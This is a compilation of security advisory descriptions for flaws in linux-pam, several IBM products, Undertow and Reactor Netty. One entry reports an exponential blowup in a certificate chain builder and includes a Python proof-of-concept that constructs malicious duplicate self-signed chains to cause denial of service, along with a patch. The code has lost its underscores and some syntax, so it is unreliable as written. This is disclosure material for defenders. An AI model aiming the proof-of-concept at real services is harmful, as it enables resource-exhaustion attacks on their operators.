A flaw was found in linux-pam. The module pamnamespace may use access user-controlled paths without proper protection, allowing local users to elevate their privileges to root via multiple symlink attacks and race conditions.

IBM Netezza Software 11.3.0.3 through Interim Fix 002 could allow an unauthorized user to inject data into log messages due to improper neutralization of special elements when written to log files.

Summary When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.

This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.

Details The core issue arises in the recursive nature of buildchaininner, which does not de-duplicate against previously analyzed candidates.

python fn buildchaininner( &self, workingcert: &VerificationCertificate<'chain, B>, currentdepth: u8, workingcertextensions: &Extensions<'chain>, namechain: NameChain<', 'chain>, budget: &mut Budget, ) -> ValidationResult<'chain, Chain<'chain, B>, B> { if let Some(nc) = workingcertextensions.getextension(&NAMECONSTRAINTSOID) { namechain.evaluateconstraints(&nc.value()?, budget)?; }

// Look in the store's root set to see if the working cert is listed. // If it is, we've reached the end. if self.store.contains(workingcert) { return Ok(vec![workingcert.clone()]); }

// Check that our current depth does not exceed our policy-configured // max depth. We do this after the root set check, since the depth // only measures the intermediate chain's length, not the root or leaf. if currentdepth > self.policy.maxchaindepth { return Err(ValidationError::new(ValidationErrorKind::Other( "chain construction exceeds max depth".into(), ))); }

// Otherwise, we collect a list of potential issuers for this cert, // and continue with the first that verifies. let mut lasterr: Option<ValidationError<', B>> = None; for issuingcertcandidate in self.potentialissuers(workingcert) { // A candidate issuer is said to verify if it both // signs for the working certificate and conforms to the // policy. let issuerextensions = issuingcertcandidate.certificate().extensions()?; match self.policy.validissuer( issuingcertcandidate, workingcert, currentdepth, &issuerextensions, ) { Ok() => { match self.buildchaininner(

A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.

rust let mut seenvalidissuers = Vec::<&VerificationCertificate<'chain, B>>::new(); for issuingcertcandidate in self.potentialissuers(workingcert) { . . . Ok() => { if seenvalidissuers.contains(&issuingcertcandidate) { continue; } seenvalidissuers.push(issuingcertcandidate); match self.buildchaininner( issuingcertcandidate, // NOTE(ww): According to RFC 5280, we should only

In testing, this fix removed the exponential blowup without breaking apparent correctness.

duplicates,maxdepth,result,seconds 1,7,rejected,0.000464 -> 1,7,rejected,0.000667 2,7,rejected,0.025154 -> 2,7,rejected,0.001229 3,7,rejected,0.489924 -> 3,7,rejected,0.001619 4,7,rejected,4.309403 -> 4,7,rejected,0.002144 3,8,rejected,1.468193 -> 3,8,rejected,0.001811 4,8,timeout>5s, -> 4,8,rejected,0.002410 5,7,timeout>5s, -> 5,7,rejected,0.002640 6,6,timeout>5s, -> 6,6,rejected,0.002829

PoC The following script benchmarks processing times for malicious cert chains.

python import datetime import multiprocessing import time

import cryptography from cryptography import x509 from cryptography.hazmat.primitives import hashes from cryptography.hazmat.primitives.asymmetric import ec from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID from cryptography.x509.verification import ( DNSName, PolicyBuilder, Store, VerificationError, )

NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc) TIMEOUT = 5 CAKEYUSAGE = x509.KeyUsage( digitalsignature=True, contentcommitment=False, keyencipherment=False, dataencipherment=False, keyagreement=False, keycertsign=True, crlsign=True, encipheronly=False, decipheronly=False, ) EEKEYUSAGE = x509.KeyUsage( digitalsignature=True, contentcommitment=False, keyencipherment=False, dataencipherment=False, keyagreement=False, keycertsign=False, crlsign=False, encipheronly=False, decipheronly=False, )

def name(commonname): return x509.Name([x509.NameAttribute(NameOID.COMMONNAME, commonname)])

def basebuilder(subject, issuer, publickey, serial): return ( x509.CertificateBuilder() .subjectname(subject) .issuername(issuer) .publickey(publickey) .serialnumber(serial) .notvalidbefore(NOW - datetime.timedelta(days=1)) .notvalidafter(NOW + datetime.timedelta(days=30)) )

def makeca(commonname, serial): privatekey = ec.generateprivatekey(ec.SECP256R1()) subject = name(commonname) cert = ( basebuilder(subject, subject, privatekey.publickey(), serial) .addextension(x509.BasicConstraints(ca=True, pathlength=None), True) .addextension(CAKEYUSAGE, True) .addextension( x509.SubjectKeyIdentifier.frompublickey(privatekey.publickey()), False, ) .sign(privatekey, hashes.SHA256()) ) return privatekey, cert

def makeleaf(issuerkey, issuercert): privatekey = ec.generateprivatekey(ec.SECP256R1()) return ( basebuilder(name("leaf"), issuercert.subject, privatekey.publickey(), 100) .addextension(x509.BasicConstraints(ca=False, pathlength=None), True) .addextension(EEKEYUSAGE, True) .addextension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False) .addextension( x509.AuthorityKeyIdentifier.fromissuerpublickey(issuerkey.publickey()), False, ) .addextension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVERAUTH]), False) .sign(issuerkey, hashes.SHA256()) )

def buildmaterial(): loopingkey, loopingca = makeca("looping self-signed CA", 1) , unrelatedroot = makeca("unrelated trust anchor", 2) leaf = makeleaf(loopingkey, loopingca) return leaf, loopingca, unrelatedroot

def verifycase(duplicates, maxdepth, queue): leaf, loopingca, unrelatedroot = buildmaterial() verifier = ( PolicyBuilder() .store(Store([unrelatedroot])) .time(NOW) .maxchaindepth(maxdepth) .buildserververifier(DNSName("example.com")) )

start = time.perfcounter() try: verifier.verify(leaf, [loopingca] duplicates) result = "accepted" except VerificationError: result = "rejected" queue.put((result, time.perfcounter() - start))

def runcase(duplicates, maxdepth): queue = multiprocessing.Queue() process = multiprocessing.Process( target=verifycase, args=(duplicates, maxdepth, queue), ) process.start() process.join(TIMEOUT)

if process.isalive(): process.terminate() process.join() print(f"{duplicates},{maxdepth},timeout>{TIMEOUT}s,") return

result, elapsed = queue.get() print(f"{duplicates},{maxdepth},{result},{elapsed:.6f}")

if name == "main": print("duplicates,maxdepth,result,seconds") for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]: runcase(case)

Impact This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.

IBM Qiskit SDK 2.1.0 through 2.5.1 could allow a local attacker to cause a denial of service due to improper handling of a specially crafted object during deserialization. A malicious QPY payload can trigger a segmentation fault, causing the application to crash when deserializing untrusted input.

A flaw was found in the Undertow HTTP server core, which is used in WildFly, JBoss EAP, and other Java applications. The Undertow library fails to properly validate the Host header in incoming HTTP requests. As a result, requests containing malformed or malicious Host headers are processed without rejection, enabling attackers to poison caches, perform internal network scans, or hijack user sessions.

A flaw was found in Undertow that can cause remote denial of service attacks. When the server uses the FormEncodedDataDefinition.doParse(StreamSourceChannel) method to parse large form data encoding with application/x-www-form-urlencoded, the method will cause an OutOfMemory issue. This flaw allows unauthorized users to cause a remote denial of service (DoS) attack.

IBM Netezza Software 11.3.0.3 through Interim Fix 002 has credentials that are hardcoded in the application source code, allowing unauthorized access to the container registry. The exposed secret enables attackers to pull private container images, potentially revealing proprietary code, configuration details, and other sensitive information.

CP4BA - IBM Enterprise Records could allow a local attacker to obtain sensitive information due to the use of a broken or risky cryptographic algorithm.

IBM ContextForge MCP Gateway could allow a remote authenticated attacker to obtain sensitive information due to server-side request forgery via DNS rebinding.

IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to obtain sensitive information due to improper validation of symbolic links.

IBM ContextForge MCP Gateway (mcp-contextforge-gateway) <= v1.0.6 MCP Context Forge could allow a remote authenticated attacker to obtain sensitive information due to a DNS rebinding vulnerability during tool invocation.

IBM AIX 7.2, and 7.3 and IBM PowerVM VIOS 4.1 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.

A flaw was found in the Reactor Netty HTTP Server, which may log request headers in some cases of invalid HTTP requests. This could allow an attacker to access privileged information when WARN level logging is enabled.

In Reactor Netty HTTP Server, versions 1.1.x prior to 1.1.13 and versions 1.0.x prior to 1.0.39, a malicious user can send a request using a specially crafted URL that can lead to a directory traversal attack.

Specifically, an application is vulnerable if Reactor Netty HTTP Server is configured to serve static resources.

In Reactor Netty HTTP Server, versions 1.1.x prior to 1.1.13 and versions 1.0.x prior to 1.0.39, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service (DoS) condition.

Specifically, an application is vulnerable if Reactor Netty HTTP Server built-in integration with Micrometer is enabled.

IBM Netezza Software 11.3.0.3 through Interim Fix 002 does not validate or improperly validates TLS certificate validation, which could allow an attacker to obtain sensitive information using man in the middle techniques.

IBM App Connect Enterprise 13.0.1.0 through 13.0.8.1, and 12.0.1.0 through 12.0.12.28 and IBM Integration Bus for z/OS 10.1.0.0 through 10.1.0.7 could allow a remote attacker to cause a denial of service due to an infinite loop.

IBM Langflow OSS 1.0.0 through 1.11.2 allows an authenticated attacker to read arbitrary files from the server filesystem — including server secret material (secretkey, JWT signing keys, the application database, /proc/self/environ, and other tenants' upload directories) — by supplying absolute paths or traversal sequences in the files parameter of an authenticated build request. The file contents were embedded as text attachments in the language model prompt and transmitted to the configured model endpoint, resulting in confidential data exfiltration. This bypassed the LANGFLOWRESTRICTLOCALFILEACCESS=true containment boundary, which was enforced for other file-reading components but not for the Chat Input to Message attachment pipeline.

IBM Langflow OSS 1.0.0 through 1.11.2 could allow a remote authenticated attacker to obtain sensitive information due to server-side request forgery.

IBM Instana Agent Operator could allow an authenticated Kubernetes tenant to hijack or permanently destroy another tenant's cluster-level RBAC permissions, caused by cluster-scoped RBAC objects being keyed solely by the bare CR name with no namespace disambiguation, allowing a same-named InstanaAgent CR in an attacker-controlled namespace to silently overwrite the shared ClusterRoleBinding or delete it outright and revoke the victim agent's cluster monitoring access.

IBM Db2 Mirror for i 7.4, 7.5, and 7.6 could allow a local attacker to obtain information due to a race condition involving a predictable Unix domain socket path in a world-writable directory.

IBM App Connect Enterprise 13.0.1.0 through 13.0.8.1, and 12.0.1.0 through 12.0.12.28 and IBM Integration Bus for z/OS 10.1.0.0 through 10.1.0.7 could allow a local attacker to cause a denial of service due to uncontrolled recursion.

IBM App Connect Enterprise 13.0.1.0 through 13.0.8.1, and 12.0.1.0 through 12.0.12.28 and IBM Integration Bus for z/OS 10.1.0.0 through 10.1.0.7 could allow a remote authenticated attacker to obtain sensitive information due to an XML external entity (XXE) injection flaw.

IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote authenticated attacker to cause a denial of service due to an integer overflow.

IBM ContextForge MCP Gateway - Translate utility <= 1.0.8 MCP Context Forge could allow a remote attacker to obtain sensitive information from other sessions due to exposure of data elements to the wrong session.

IBM i 7.6, 7.5, 7.4, and 7.3 could allow a local attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.

IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote attacker to cause a denial of service due to a buffer overflow.

IBM Langflow OSS 1.0.0 through 1.10.2 could allow a remote authenticated attacker to obtain sensitive information and inject messages into workflow history due to improper authorization.

IBM App Connect Enterprise 13.0.1.0 through 13.0.8.1, and 12.0.1.0 through 12.0.12.28 and IBM Integration Bus for z/OS 10.1.0.0 through 10.1.0.7 Toolkit could allow an authenticated user to cause a denial-of-service condition due to improper validation of XML entities.

IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote authenticated attacker to cause a denial of service due to a stack-based buffer overflow.